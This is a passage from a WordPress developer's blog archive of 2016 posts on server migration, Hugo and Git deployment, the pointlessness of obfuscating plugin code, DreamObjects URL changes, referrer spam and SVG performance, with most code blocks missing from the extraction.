This matters because I needed only 50G of diskspace (I only use about 30 right now for all the sites), and while I did want 2G of RAM, I could easily switch to an SSD on my hosting plan. It was cheaper, and it was as easy as pressing a button. I’ve never really gotten to play with SSD for this site, so I thought “what the hell” and pressed the button.
A weekend later…

The five minute load average shows a *massive* drop. It’s incredible. The red and blank spots are where I was running the actual migration process and disabled monitoring for a bit. Literally all I did was reboot the server and the move it to SSD. That’s it. It’s insane when you think about it.
By the way, I saved disk space by offloading the backups to Amazon S3. Amazon costs me about $3 a month, and while I detest their interface, the integration is built into WHM. I have an open feature requests to [allow arbitrary CEPH destinations as backup](https://features.cpanel.net/topic/ceph-backups) so please vote for that if you like the idea.
SSDs had the bonus of changing my backup from taking 2 or 3 hours to taking 15 minutes.
Anecdotally SSD is an incredible improvement of the old bog hard drives.
**Categories:** How It Is
**Tags:** essay, servers
---
### [A Simplier Hugo Deploy](https://halfelf.org/2016/simplier-hugo-deploy/)
**Published:** May 27, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** An even simplier, no-go required, deployment for Hugo.
**Content:**
I have a [Hugo](http://gohugo.io) site that I’ve been deploying by [running Hugo on the server](https://halfelf.org/2015/deploying-hugo/). But this isn’t the only way about it.
If you use Git and it’s on the same server as your site, and owned by the same user, it’s remarkably easy to do this.
First make sure the `public` folder in your Hugo repository is being tracked. Yes, this can make your repository a little large but that’s not something to worry about too much. Space is cheap, or it should be. Next make a folder in `tmp` – I called mine `library` – to store the Git output in.
The new `post-update` code then looks like this:
What this does is checkout the Git repository and then copy it over. The format of the sync will delete anything not found. Done.
The benefit of this method is that you don’t need to install GoLang or Hugo on your server, and everything is pure and simple Git and copy. Rsync is a delightful way to copy everything over as well. You can delete the temp folder when you’re done, but the checkout process handles things for you. Another nice trick is you can specify what branch to checkout, so if you have a special one for publishing, just use that.
But could this be *even* easier? Yes and no. You see, what I’m going is checking out the whole thing and then copying over folders. What if I could tell Git to just checkout the code in that one folder?
There’s a think called a ‘sparse checkout’ where in I can tell Git “Only checkout this folder.” Then all I have to do is go into that folder and checkout the content I wanted. The problem there is it literally checked out the folder ‘public’ and what I wanted was the content of the public folder. Which means while it’s ‘easier’ in that I’ve only checked out the code I need, I can’t just checkout it out into where I want. I will always have to have a little extra move.
To set up my folder, I did this:
And then my script remains the same. But! This is going to be a faster checkout since it’s only ever going to be exporting and seeing the folders it needs.
**Categories:** How To
**Tags:** deployment, git, hugo
---
### [Encrypting Source Code Doesn't Make It Safer](https://halfelf.org/2016/encrypting-source-isnt-safer/)
**Published:** May 23, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** All the work you're doing to hiding your code is about as useful as preventing right-click on images.
**Content:**
I’d love to think that’s all I have to say on the matter, that you all will read the subject, go “Yup!” and we’re done.
The reality is that I have to argue this, regularly, with people.
Here’s the code from a plugin out there:
The whole file is like that. The developer explained it was done that way for ‘security’ — it would make things harder to hack. I pointed out that’s simply not true.
Here’s what having encrypted, hashed, packed code does:
1. It makes your build process take longer.
2. It adds another failure point into your code.
3. It makes it harder for the end users, other developers (who write plugins), web hosts to debug, and *you* to debug.
4. It makes you look like a developer with evil intents.
5. It sets an expectation with users that this kind of code is ‘normal’ in WordPress.
Recently Sucuri posted about [a redirect hack](https://blog.sucuri.net/2016/05/wordpress-redirect-hack-test0-default7.html) that works by putting junk code in your `header.php` file which looks rather similar:

The issue here is that an end user, your normal WordPress user, cannot tell the difference between the somewhat safe code I quoted before and this code. They see ‘gibberish’ where as I know they can use [a hex decoder](http://ddecode.com/hexdecoder/) to translate `["w\x73\x78\x6e\x69\x66\x69\x6f\x71\x6c"]` into `["wsxnifioql"]` … which is still pretty terrible.
Well written code, well named functions, are self-explanatory. You see a function called `redirect_404_pages()` and you have a pretty good idea of what it’s for. You see a function named `wsxnifioql()` and good luck knowing what the heck that’s for. This goes back to the claim that the code is more secure. It’s not. It’s needlessly complicated, and as I shoed with the hex decoder tool, it can *trivially* be decrypted and read.
So what is the *real* point of hiding your code? Who are you trying to protect? What’s ‘safer’ about any of this?
The answer is that it’s about about you, you, you. You don’t want someone to take your great idea.
That’s it. And that’s foolish.
WordPress is GPLv2 (or later). Furthermore, to be hosted on WordPress.org, your code *cannot* be encrypted or hidden or otherwise non-human-readable. The basic reason is that WordPress’ success is due to it’s understandability and extendability. Anyone can read WordPress’ core code, parse it, learn from it, and enhance it. When you take that away from users, you isolate your code and prevent people from extending it.
This person, this developer, charges upwards of $1000 for the add ons to their code. Yes, a plugin that costs over a grand. It sounds economically sound to try and lock things down so people don’t steal their intellectual property. We can all understand that impetus. I support it. I also feel that part of being in an open source community is being aware of how your actions impact the world at large.
Because WordPress is open and because there is a standard expectation of non-encrypted code (except by evil-doers), the burden moves to developers to *not* hide their code that is installed on users’ servers. The code that is deployed to an end-user is expected to be human readable. This comes at a risk. I have a copy of a theme I bought, and I could give it away to anyone I wanted. They may not get updates, which means I have to be aware of the risk I’m introducing to my friends when I give them something like a premium theme or plugin.
Similarly, what are the risks of telling people it’s okay to install plugin code in `uploads` instead of the `plugins` folder? What are the risks of allowing people to think that encrypted code is generally okay? In and of themselves, neither action seems particularly dangerous. PHP code is PHP code, right? If it runs, you’re good. But the reality is not so. By installing code in `uploads` I’ve made it so it’s no longer fully protected by WordPress and ‘standard’ security practices. I’ve also made it riskier that my code would even run, since many hosts prevent executable code from running out of that folder for security.
So how do I meet the (assumed) criteria of not having someone rip off my code?
You don’t. Your machinations aren’t preventing it now, and they won’t prevent it tomorrow. Hexcode is easily parsed. Even the Zend framework has to be able to be reversed to be run, so a dedicated person will always find a way around it. And the majority of your users aren’t going to be the problem. It’s those extremes. So what you’ve done is wasted time, effort, and money to annoy the majority to stop the minority. Let people inspect your code. If someone steals it, there are laws to help you handle them. Use them. Theft is theft. The GPL may allow them to take your code, copy and expand on it, but it doesn’t let them violate your copyright.
All the work you’re doing to hiding your code is about as useful as preventing right-click on images. It doesn’t protect the end users, and it doesn’t protect your intellectual property.
**Categories:** How It Is
**Tags:** coding, development, essay, wordpress
---
### [Why I Don't Use Git Flow Anymore](https://halfelf.org/2016/no-more-git-flow/)
**Published:** May 25, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** I don't regret Git Flow. It taught me a lot and made me comfortable. But now it's time to spread my wings.
**Content:**
Please don’t get me wrong. I love git-flow. I think it’s great. But it was great to teach me *how* to use git. It taught me not to use `master` for my development, and how to make branches and all that. Git Flow got be in the habit of doing good things and testing and showed me how to work with multiple projects. It was a great crutch to get comfortable with the ideas of Git that (for a long time) confounded me.
But I don’t need it anymore. Instead, I do things very, very simply and my flow is as follows.
`$ git checkout master ; git pull`
I always start by assuming I’ve forgotten something and need to sync up. This works for me, since I run on two computers.
`$ git checkout NewProject`
Once I’m in the new project, I start making all my edits, add my code, etc. Now here’s where I get a little silly. If I’m working on my own stuff, it’s Coda, always, so I’ll constantly ‘commit all changes’ and fill in my commit messages and then *cancel out*. I do this over and over until I’ve reached a point where I think “This code is ready to be tested.” Then I commit for real.
This means my commit logs look like this:
There are other ways to do this, of course. I’m a huge proponent of keeping [change logs](http://keepachangelog.com/) but a commit message should be useful too.
It’s too easy to put in this: `git commit -m "Adding new icons"`
While it’s more time consuming, just use `git commit` and put in a good message like I did up at the top. Now, this is not new. A hundred people have all said this before, but it bears repeating.
- The first line is your subject, keep it to 50 characters.
- Capitalize the subject line but don’t use a period
- Use the imperative mode – “Add new icons” and not “Adding new icons”
- Leave an empty line between subject and body
- Explain what you did in the body, keeping lines to 72 characters
- Bullet points are okay – use a space before a hyphen for best compatibility
- Reference any issues at the bottom – “Fixes: #123” or “See Also: #456 #789”
If, like me, you commit and then, before merge, realize you have changes, use `git commit --amend` to add your new changes to the existing commit.
**Categories:** How It Is
**Tags:** development, git, workflow
---
### [Aiding Symbol Selection](https://halfelf.org/2016/aiding-symbol-selection/)
**Published:** May 18, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Managing the icons in a more visual way sometimes means offering more education.
**Content:**
Last week I was talking about the difficulties I was having with [Symbol Selection](https://halfelf.org/2016/perils-symbol-selection/). At it’s crux, the issue is explaining something visual that’s clear to me but may not be to others.
What I ended up doing was making in-line documentation. When you edit a category, you see the option to change the icon, but now it has some exposition:

This is pretty simple, I now, but the point is that if you get that far and go “Wait, what?” your eyes will hit that link and you’ll probably click on it and get the new Appearance page:

The page is generated by an mu-plugin, and quite simply it scans the folder for all the symboicons and shows you each one. Since it’s in an mu-plugin and the images are a part of the theme, I put in an extra check to see if the folder is there and, if so, show an error.
It’s not perfect, but it helps.
**Categories:** How To
**Tags:** design, essay
---
### [PSA: DreamObjects URL Changes](https://halfelf.org/2016/psa-dreamobjects-url-changes/)
**Published:** May 20, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** There's a possible breaking change to DreamObjects coming up in September. Be prepared.
**Content:**
If you use my DreamObjects plugins, don’t worry, I’ll have them updated before September.
## What Changed?
As part of ongoing service improvements, DreamHost made a subtle, but critical, change to how everyone accesses DreamObjects. Specifically, they changed the DreamObjects hostname to prepare for upcoming enhancements.
Old hostname: `objects.dreamhost.com`
New hostname: `objects-us-east-1.dream.io`
## I’m a developer who uses DreamObjects. What do I need to do?
If you were ever using the URL `objects.dreamhost.com` in your site, you need to change it to `objects-us-east-1.dream.io` and everything will be awesome.
## Is it really that simple?
Not always. For *some* plugins and code, it is that simple. For my backup plugin, I added in a new option:
`if ( !get_option('dh-do-hostname')) {update_option( 'dh-do-hostname', 'objects-us-east-1.dream.io' );}`
This way I can later make it a dropdown for people to select as they want.
But for my CDN plugin there’s a major issue. You see, the way it works is that it updates the URLs of images within your posts. It, literally, edits your post content. And that means a change has to go back and fix all the URLs. I had to write some fairly weird code to do this. I’m still testing it fully, and I think it’ll do everything I need, except it’s not going to perfect.
Right now it does it’s utmost best to fix any URLs on a site, however it will *only* fix the ones for images it can **detect** are on DreamSpeed. I am aware that some people with a phenomenal number of images manually copied their uploads folder to DreamObjects and ran a command like this:
`wp search-replace 'example.com/wp-content/uploads' 'objects.dreamhost.com/bucketname/wp-content/uploads'`
Or maybe they used the [InterconnectDB script](https://github.com/interconnectit/Search-Replace-DB) or another plugin. Those people you’re going to have to watch out for and inform in a useful way as to how to fix it.
## I’m an end user. Do I need to care?
Yes. You do. *Do not* try to fix it on your own just yet. Not until the plugins you use have updated and said they’ve corrected the issue. Then read the FAQ or any alerts to make sure you don’t need to do anything else. If you’re not using DreamObjects as a CDN, this should be pretty painless.
If you did, or if you moved it all manually, you will have to do it again before September 5th, 2016 or all images will break.
Thankfully, if you’re on DreamHost, you can run the following command:
`wp search-replace objects.dreamhost.com objects-us-east-1.dream.io`
That will upgrade everything for you. If you’re not, you’ll need to use the search/replace tool of your choice.
Again: *WAIT* until any plugin you use for this has been updated. I personally contacted everyone in the WordPress.org repository and informed them about it, but since I know that’s not perfect, I’m doing this too.
## This sucks!
I know. It does. But I don’t see a better way around it.
## When will your plugins be updated?
Before the end of May. I just want to test it on as many large sites as I can find.
**Categories:** How It Is
**Tags:** dreamobjects, plugins
---
### [De-fontification](https://halfelf.org/2016/de-fontification/)
**Published:** May 16, 2016
**Author:** Ipstenu (Mika Epstein)
**Content:**
I love fonts. They’re a great way to make your site unique. Back in the early 2010s, we were all using them all over the place.
It’s time to retire them.
This month, [WordPress core pulled it’s dependency on Google Fonts](https://core.trac.wordpress.org/ticket/36753) and I couldn’t be happier. The concept behind the [Font Natively](https://make.wordpress.org/core/features/font-natively/) project is incredibly simple. Remove Google Fonts, everyone wins.
Back when we added Google Fonts for core, it was not without it’s naysayers, and I was one. Am one. There are days when I cannot access Google for reasons. When my father’s in China, he can’t get Google Fonts. The web looks very different fro him.
> Instead of relying on an external resource, Font Natively moves the WordPress admin back to system fonts. This leads to faster load times, especially when working offline, a removal of a third-party dependency, and a more native-feeling experience as the lines between web experiences and apps continue to blur.
With this in mind, as much as I love Fonts and especially Fonticons like [Font Awesome](https://fortawesome.github.io/Font-Awesome/), I’m stepping away from them. And really this is me moving on and giving up the control over my website having to look a specific way.
This is a philosophy. The site will never be pixel perfect for everyone. People look at my sites on tablets, phones, Macs, Windows, etc etc and so on and so forth. The concept that you can absolutely control the specific layout, every single molecule, is long gone. The best we can do is make it look as good as possible on all those things.
Part of making the site look better is making it load better, and better here means faster, which is yet another reason. I don’t need all the icons in Font Awesome, for example. I needed four on one site, five on another, and one on a third. Do the math.
As for Google Fonts? Well. They had their day. But even Google tells you that using blog and italics and all that would slow your site down. Guess what? I use bold and italics *a lot*. I *like* emphasis. So for me, I was always going to need them, and it was always going to slow things down.
And finally, finally, it’s 2016. We didn’t have good system fonts in 2008. Now we do. Let’s embrace and drop the fonts we don’t *need* and only include the ones we *require*.
**Categories:** How It Is
**Tags:** design, essay, google
---
### [Farewell Mothra, Hello Ogra](https://halfelf.org/2016/farewell-mothra-hello-ogra/)
**Published:** May 9, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Moving cPanel to CentOS7 wasn't hard at all!
**Content:**
For some reason I name my servers after Godzilla monsters. I currently have two – ogra and gamera. [Gamera](http://godzilla.wikia.com/wiki/Gamera) is a new DreamCompute box I’m using to test things on, but [ogra](http://godzilla.wikia.com/wiki/Ogra) is this server.
## Gamera
There used to be a server called Gamera before Gamera. Original Gamera was my very very first VPS. At the time, I had four websites, all with separate hosting plans, and I mathed out that it would be cheaper to combine them to one VPS and learn that.
Boy what a jump that was! This was my first experience with a VPS at all, but I think that, in retrospect, it gave me comprehension of the web in a new way. Before, I was just a user of the internet. After, I understood why so many sites behaved differently. Gamera was actually how I got to know Mike Schroder! We’d added ImageMagick to WordPress and he was an aficionado. I was trying to test some things and he pointed out I didn’t actually have it installed. Off to the races!
## Mothra
As Gamera got long in the tooth, I needed to upgrade some software and realized that doing so wasn’t going to be possible anymore without an OS upgrade. Instead of that, however, I looked into a whole new server on a new system: the cloud.
This really just meant I had a more dynamically upgradable server. It was easy to add more memory or diskspace. I could spin up new clusters as needed (though I haven’t needed to yet), and it was bigger and faster and better.
I learned a lot on Mothra. Everything from memcached and nginx to varnish and SSL was done there. I’ll miss it.
## Ogra
Of course time went by and I installed all sorts of shit on my server. And, eventually, I wanted to upgrade to the newest operating system and test it without downtime. This *can* be done, but I decided to build a new server on the latest and greatest OS and migrate my sites. Building out the server was easy, as I have a document called “How I Installed Shit On My Server” and I was able to use that to rebuild everything I needed. Some things had changed and got updated, but in general it was pretty much the same thing.
Since everything was on cPanel and WHM, transferring sites was incredibly painless. Where, five years ago, I had to ask for help, this time I was able to press the pretty buttons and do it myself. The most terrifying part was the DNS. What I did was move accounts over one at a time, starting with the smallest site and building up. Then I’d change my `/etc/hosts` file to point to the new IP and verify everything worked. As soon as the site was good, I changed it to the new nameservers (ns3 and ns4) and moved on to the next one.
This was only a problem when I ran into my Aunt’s website, which has the DNS over on Microsoft. A few emails later, I logged in as her and changed the setting (and saved her account information for the next time). Sadly, Microsoft doesn’t let you point a domain to a CNAME, you have to use an A record, which means IP and doing my migration this way required a new IP.
## What Now?
Now I’m waiting on EasyApache4 and full support for [Let’s Encrypt in cPanel](https://forums.cpanel.net/threads/lets-encrypt-support.538621/).
**Categories:** How It Is
**Tags:** servers
---
### [The Beta Tester's Paradox](https://halfelf.org/2016/beta-testers-paradox/)
**Published:** May 6, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** The more likely a person is to test Beta and RC, the less likely they are to have bad code.
**Content:**
In a nutshell, the paradox is this:
> The more likely a person is to test Beta and RC, the less likely they are to have bad code.
When people wonder why problems like the recent jQuery flub manage to make it all the way into the wild, they tend to assume the issue is not testing enough. They’re incorrect. The issue is not testing enough.
Put the lead pipe down.
What do you think ‘enough’ is? I promise you, the majority of people who have a broken site will say “It needed more time being tested.” And in return, the majority of developers will say “It needed more people with more diverse setups testing.”
So which one is right? They both are. We need more of the *right* people testing. We need people who are on the edges of ‘normal’ for WordPress. The problem is that the ‘right’ people are the people who have the worst code.
Take a look at WordPress 4.5. Not a *single* beta tester was using a plugin or a theme that used jQuery improperly. Look at Jetpack 4.0. Not a single beta tester had a server config that broke, but within 12 hours they had over 300 tickets about an error 500 on many sites. In both cases, a significant amount of testing was performed. People banged on the code and outright tried to break it. Just not the *right* people. And the worst thing is we cannot know who is the right person until after something breaks.
This leads to the other part of the paradox.
> Someone whose site breaks after an upgrade is less likely to want to beta test.
This is because we’ve broken the trust. They cannot accept that their site went down, or their computer crashed. Or maybe they can’t afford to be Janie on the Spot and jump every time their site needs a bit of an extra hand when an upgrade goes bibbeldy.
Of course, this is why the people who *are* testing are *less* likely to have a problem. They don’t want to waste time debugging stupid code problems, so they put the time in front to make sure they don’t introduce bad code to their environment.
We create a vicious circle, because the only way to get better results from beta is to get more people beta testing. But few people are willing to fully beta test on a live site, and say what you will, there’s nothing quite like live testing on a real, production site. You can’t stress test reality until you get your setup on your server on your design on your everything.
**Categories:** How It Is
**Tags:** essay
---
### [The Perils of Symbol Selection](https://halfelf.org/2016/perils-symbol-selection/)
**Published:** May 13, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Understanding symbols and their meanings in the real world application isn't always as easy as we'd wish.
**Content:**
When I started my little experiment with [showing icons on custom taxonomies](https://halfelf.org/2016/custom-terms-cmb2/), I began with a text field. This was because it was the easiest to edit and change right away. Next I changed it to a selection dropdown, based on the content of the folder where the I’d stored my images.
And for the most part, that’s pretty cool. Except for the part where drop-down select boxes can’t show images. This meant I had to show the image name. Generally that’s okay. I know the name of the image I wanted to use. The problem is that I know that because I know the images I uploaded. For someone else, that’s 800 images or so they have to guess at, based on names.
After playing around with selections and forms for a while, I determined there really *isn’t* a great way to show a list of images natively. No matter what I was going to have to mess with this the un-fun way because the easy way, CSS, failed. You can use `background-image` in Firefox but not Chrome or anything else that people use.
Good news! As of jQuery UI 1.11, the [selectmenu widget](http://jqueryui.com/selectmenu/#custom_render) exists. Bad news! It’s not actually simple to implement. In fact, I absolutely failed at implementation. Let’s talk about why I failed, because it’s not *just* a matter of how convoluted the code is.
A large part of my failure in this is due to the scale. If you only have one or two images, it’s less stupid. But when you get around to sets of 800 images, you start to understand why WordPress has a media uploader the way it does.
The biggest factor, though, is that searching ‘visually’ is a difficult system to maintain. Symbology, the art of getting a ‘thing’ to represent another ‘thing’ is incredibly hard to pin down. Look at your WordPress dashboard. Why does a pushpin represent posts when they’re not all that different than the ‘two sheet’ icon of pages in functionality? Why is users a single person icon and not multiple people?
Ask yourself this: if you’re adding in a new menu item, what do you make your icon? Do you make it your brand logo (a G in a circle for StudioPress’ Genesis theme)? Maybe you make it a cloud with a down arrow to indicate downloads (as does Easy Digital Downloads). We wanted to add in a new Custom Post Type for ‘Characters’ and ‘Shows’ for my database site and Tracy, who is amazing at this sort of thing, cheekily picked a video camera for ‘shows’ and a name tag for ‘characters.’
I had a related but slightly different issue when I wanted to use Mark Jaquith’s meta [I Make Plugins](https://wordpress.org/plugins/i-make-plugins/) plugin. I wanted to see my plugins on the sidebar with a more unique icon. I couldn’t use the most logical one, a plug, since we’re already using that for Plugins. I went with a little ‘awards’ icon.
In both cases, we studied the list of [Dashicons](https://developer.wordpress.org/resource/dashicons/) and picked the ones that made the most sense, but it required a visual study of what we really needed and an understanding of how they all worked. Scrolling down a massive list of all of those is annoying, but necessary. You need to look at your options, think about them, and feel what they mean contextually.
I haven’t yet figured out a perfect solution, but I’ll let you know when I do.
**Categories:** How It Is
**Tags:** essay
---
### [Switching The Main Blog on Multisite](https://halfelf.org/2014/switching-main-blog-multisite/)
**Published:** December 3, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Here's how you swap out two sites on a Multisite.
**Content:**
Previously I’d only ever posted this in my ebook, [WordPress Multisite 110](https://store.halfelf.org/ebooks/wordpress-multisite-110/).
What people mean by this is the site they originally set to be seen at domain.com is no longer the one they want to use, but the one at (say) domain.com/temp or temp.domain.com. If this is what you’re wanting to due, it’s not impossible, but it is annoying and a little tricky. If you’re using the trick to give WP it’s own directory, these are not the directions you’re looking for. I haven’t written those out yet.
First you have to go to Network Dashboard > Sites and edit the site you **want** to be the main site.

This you want to to look like this:

Make certain you leave ‘Update siteurl and home as well’ checked! If you forget that, you’ll be sad. You no longer need to check the box (it’s gone in newer versions of WP), but if you *DO* have it, check it.
Now you’d think you go to edit the main site and change it, but you can’t.

By default, the main site is not editable. This makes sense when you think about how messy this might be, so in order to edit it you have to go to your wp-config.php file and look for this line:
`define('BLOG_ID_CURRENT_SITE', 1);`
Change it to the site ID you want to use as your main site. In this example, I want site #2, aka, two, to become my main site.
`define('BLOG_ID_CURRENT_SITE', 2);`
Save the file and then you have to go *back* to your Sites and edit the old main site.

Give its path a new name and press save, making sure you keep that checkbox checked if it’s there.

In this example, I’ve picked a new URL for my formerly main site becuase I don’t want any conflicts, but there’s nothing stopping me from picking ‘two’ again and just totally swapping things.
The last step is to change your post content. Using a plugin like [Velvet Blues Update URLs](https://wordpress.org/plugins/velvet-blues-update-urls/), you will need to search each site separately and replace the URLs. If you have wp-cli, you can do that too like this:
If those look good, rerun without dry run and call it a day!
An interesting quirk is that you may need to edit the Fileupload URL if you’re using blogs.dir for your images. I noticed that on one site it was set to `http://example/two/files` which clearly is wrong. To fix that, go to Network Admin, click on Sites, and click on edit for the site. From there, click on the dangerous “Settings” tab and look for “Fileupload URL” and edit as needed to match things.
Cool tricks like this can be found in [WordPress Multisite 110](https://store.halfelf.org/ebooks/wordpress-multisite-110/).
**Categories:** How To
**Tags:** administration, multisite, wordpress
---
### [Open Source Doesn't Mean Public](https://halfelf.org/2016/open-source-doesnt-mean-public/)
**Published:** May 4, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Open, closed, and in between, we can't always discuss everything we work on.
**Content:**
Someone made a vague implication that my post about licenses were shots fired from someone who doesn’t ‘do’ but is only an ‘observer.’
This is quite inaccurate, though I don’t blog about it here and I don’t talk about it anywhere for one simple reason. I can’t. I signed a paper, years ago, that agreed the work I did for them would be private. I would neither reuse the code (which I can’t anyway) nor would I discuss it. In fact, I had to make a phone call to ask if I could blog about it in general. I understand why someone might assume I’m not speaking from experience, but that just makes an ass of you and me.
This isn’t about me refuting or dismissing allegations from someone who, for whatever reason, dislikes me and likes to make their hate public. No, this is about the interesting predicament about what happens when you *can’t* release information about your code.
## Half Open
Here’s your scenario. The front end is an open system, a plugin say, that one installs on WordPress. It’s GPLv2 (or later) compatible because it’s distributed code I want to put on WordPress.org. That right there is a requirement. Alright, so I have one half of a product that is GPL and Open Source. The other half lives on a server somewhere in the world and does all the backend work. The plugin? It just passes API data too and fro as needed.
I just described Akismet.
You and I know very little about how Akismet works on the backend. And here’s the thing, *that’s how it should be*. We have a lot of information on how to interact with the [Akismet API](https://akismet.com/development/api/) but none about how it actually calculates what is and isn’t spam on the back end. I repeat – this is the way it should be.
Look at what Akismet does. It magically identifies spam. While it’s all well and good to be open source, the very first thing that would happen if they opened up all their code is we would see spammers read it and subvert it.
But then again, we have things like [SpamAssassin](http://spamassassin.apache.org/), an open source product I use on my email servers. Does this mean SpamAssassin is too dangerous to use? Does it mean it should be avoided? No, absolutely not! While it’s far from perfect, SpamAssassin does a phenomenal job at catching and stopping spam. But at the same time, it’s imperfect and being public, it’s more likely to be subverted by clever spammers. Thankfully the things it checks for are parts of email that a clever server admin can protect from and, all in all, it’s useful.
## Half Closed
If we accept the fact that having a code base open or closed actually has very little impact on it’s usability, then why do we lock down our systems? That’s easy. Security and profit.
Profit is the easy answer. If a system is closed then you can’t download it and install it for yourself. This means if you want to use it, you have to pay. Again, we can look at Akismet and VaultPress, which I would wager actually are built on open source code, as examples. They don’t have to be free, after all. There’s nothing wrong with being closed, either.
By making a system a closed system that no one sees the backend code for, we create a product where only people who have access to the source code can easily infiltrate. This, of course, offers no assurance that it will never be hacked, only it raises the bar and makes it harder to deal with when it does get hacked. But at the same time, it is harder to hack an unknown than a known, and it does make things somewhat safer.
Of course, if I told you all the ATM code in the world was not only open source but freely distributable *and* it was out there right now, how would you feel? That probably filled you with a little dread, thinking about how much trouble we already have with card skimmers and ATMs. If we have people who already know how to jack in, how much worse could it be if they knew how to encode software into the fake cards they make, and use them to backdoor your accounts?
## Have Your Cake And Eat It Too
Just because the code you work on is open source doesn’t mean you can talk about it in public. Just because the code is closed doesn’t mean you can’t.
I’m not talking about licenses here, though, I’m talking about contracts. I signed a paper about certain code I’ve written that prevents me from discussing it. So while I’d love to tell you everything about everything I’ve worked on, I can’t. But that’s not a bad thing. I’ve been privileged to work on the open and the closed, and it’s given me a greater appreciation and understanding of when we should and shouldn’t open our work. And this comes down to understanding the nature of the risks involved.
Things like ATMs, financial trading, and mortgages should be secured and private. Why? Because the risk is much too high. A license? Well a worst case scenario is that someone figures out how to backdoor a free license for themselves. Another is they figure out how to use someone else’s license to gain access to their information. Those are pretty bad. So if you want to make your license API open but the code behind it not, I support that call.
But. I do think you should have a way to manage your licenses and updates. That’s just business sense.
**Categories:** How It Is
**Tags:** development, essay, freedom, open source
---
### [Referrer Spam In Adsense](https://halfelf.org/2016/referrer-spam-adsense/)
**Published:** May 2, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Oh joy, oh rapture, Semalt is at it again.
**Content:**
You may have heard of Semalt.com. I’ve heard them argue that they’re not spammers, they’re not evil, they’re not bad people.
You know what? They are. They are spamming, they are doing evil, and they’re bad people.
The other day I was checking my top-sites in Google Adsense, trying to think of how to increase revenue on my passive income, when I saw this random domain showing up on my list of sites. A site that wasn’t mine. A site that looked like a spammer:

## Why is this happening?
[According to Google](https://support.google.com/adsense/answer/179827), this happens when a site loads cached content of your domain (Google does this). It can also happen when someone copies your whole webpage into an HTML email, or if someone uses a bad iframe.
There’s also the obvious, but rare, case where someone uses your code without your knowledge.
## Do I need to block them?
No. Except for the part where they screw up your analytics metrics and cause load on your server. Keep reading, I’ll explain.
## Will I Be Penalized by Google?
My first thought was “Oh shit, Google’s going to yell at me!” I quickly checked that I had [site authorization](https://support.google.com/adsense/answer/65062?hl=en) on, which means only domains I’ve approved and added can show my ads. Whew.
This is a big deal by the way. While it would be nice to earn more views, if a site that isn’t mine uses my ads without knowing, I *can* get in trouble. More than once I’ve told off plugin developers about using Adsense in their plugins. This is for a couple reasons, first is that you can use it to track who uses your plugin (bad), but also because *Google* doesn’t want you to. They outright say that you cannot put ads “on any non-content-based page.” An admin dashboard is not a content page. Done and done. No ads in your plugins, thank you.
But that’s *exactly* why I was worried!
Where is Semalt showing my ads?
## What is this URL for anyway?
The URL was `http://keywords-monitoring-your-success.com/try.php?u=http%3A%2F%2Fexample.com` (not my real URL). The only reason I could find it was I dug into my Google stats and found it as a referrer. If you happen to pop that into a browser, you will be redirected to `http://semalt.com/` — Real nice.
That is, by the way, how I knew it was Semalt.
## What is Semalt?
Semalt is a professional SEO and marketing service. They literally make their money ‘crawling’ websites. When their site started, it was really the scamiest looking thing I’d seen in a long time. A year and a half later, they’ve cleaned up their act a bit but back in 2014 we all looked at them with a massive Spock eye.
As it turned out, they were using [infected computers to scan the web](http://blog.nabble.nl/post/93306955157/semalt-infecting-computers-to-spam-the-web). My personal guess was that they are leveraging hacked computers and using them to scan for vulnerable websites. Once they find a site, they hack it and use it to push malware.
That’s a guess. I have no proof. But based on their search patters and behavior, it’s looking pretty likely to me.
## Can I block them?
Yes! But there’s a catch.
You see, everyone says you can do this:
And while that works, it’s obvious that Semalt is on to us because now they use `keywords-monitoring-your-success.com` and other URLs as passthroughs.
## How do I get them out of my analytics?
Do you use WordPress.com? Or Jetpack? Great! [Report the referrer as spam](https://en.support.wordpress.com/stats/#marking-spam-referrers)! WordPress.com blocked Semalt back in 2014, but obviously they’re on the rise again.
If you’re using Google Analytics, [Referrer Spam Blocker](https://referrerspamblocker.com/) is probably your best bet.
**Categories:** How It Is
**Tags:** analytics, spam
---
### [Too Many SVGs](https://halfelf.org/2016/many-svgs/)
**Published:** May 11, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Slow down, your blog's gotta last. You've got to make that download fast! Just zipping through the kilobytes. Viewing your site should be so groovy.
**Content:**
I was looking into moving a site from Font Icons to SVGs for a few reasons. The primary is that, with an SVG, images will look crisp on all monitors, including the non-retina displays. They literally look better on my crappy old MacBook, instead of just on my iPad.
Once I had the one site done, I went to look at another. It was a smaller site, running a Hugo as a static site generator, and I thought it would be perfect.
I was wrong.
## Using SVGs is Easy
Replacing my font icon with an SVG was as easy as making my Facebook call this:
Done. It’s tiny (2kb) and there are six similarly sized images which makes for 18kb which is incredibly smaller than the 200kb or more that Font Awesome can be. Simply, I realized I was only using five of the icons (on every page) and how stupid was that? I don’t *need* the whole library!
I will note that ‘styling’ SVGs can be an exercise in patience, since you cannot apply CSS styles when you embed as an object. Thankfully, I wanted to make the icon match my style so I edited the style directly (which is the topic of another post). If you use PHP, I recommend using `file_get_contents()` to get the contents of the svg, and then use normal CSS to style. I was using plain HTML. There are tradeoffs.
## Using too many SVGs sucks
My initial tests, using the footer first, and my page loaded much faster. Elated, I jumped over to all uses of the fonts, and remembered I had a page that listed a series of items with star rankings (none through five). I changed the generator code behind that to be object icons and reloaded.
The page was slow.
It was like dialup modem slow. Absolutely painful.
After some research, I ran into [this post](http://frozeman.de/blog/2013/08/why-is-svg-so-slow/) about why SVG was so slow, and found a graphic that explained it clearly.

What the graph demonstrates is simply that the more objects you have on a page, the slower it is. That part is obvious. The more *anything* on a page, the slower it is. So why are SVGs slower than PNGs? Why was I only seeing this on an HTML page with 50 images, and not on a WordPress generated PHP page with the same amount.
